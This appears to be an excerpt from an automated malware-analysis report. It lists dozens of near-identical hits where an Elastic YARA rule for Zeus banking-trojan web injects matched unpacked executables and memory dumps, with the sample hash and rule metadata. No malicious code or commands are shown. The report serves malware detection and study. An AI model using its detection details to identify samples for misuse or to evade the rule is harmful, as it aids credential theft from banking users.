Source: 2.3.svchost.exe.2d30000.68.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 7.2.NcYLgtXIKJgHj.exe.3100000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 16.2.NcYLgtXIKJgHj.exe.2a60000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.60.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.68.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 36.2.NcYLgtXIKJgHj.exe.2202000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.20.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2a50000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.53.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 14.2.NcYLgtXIKJgHj.exe.2922000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 7.2.NcYLgtXIKJgHj.exe.2fa2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.66.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 34.2.NcYLgtXIKJgHj.exe.2740000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 31.2.NcYLgtXIKJgHj.exe.27f0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.47.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.20.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.42.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 6.2.NcYLgtXIKJgHj.exe.1740000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.61.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000006.00000002.2562028304.0000000001740000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000007.00000002.2554723271.0000000002FA0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2644113860.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2710293683.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2651597551.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2640221225.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3375821338.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2551297845.000000000ED00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2491630816.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2681109856.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000014.00000002.2584784821.00000000027D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001F.00000002.2699028400.0000000002790000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2136779480.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2688837088.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2681703821.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2682799870.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2646845259.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000016.00000002.2606518078.00000000005E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2693850041.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
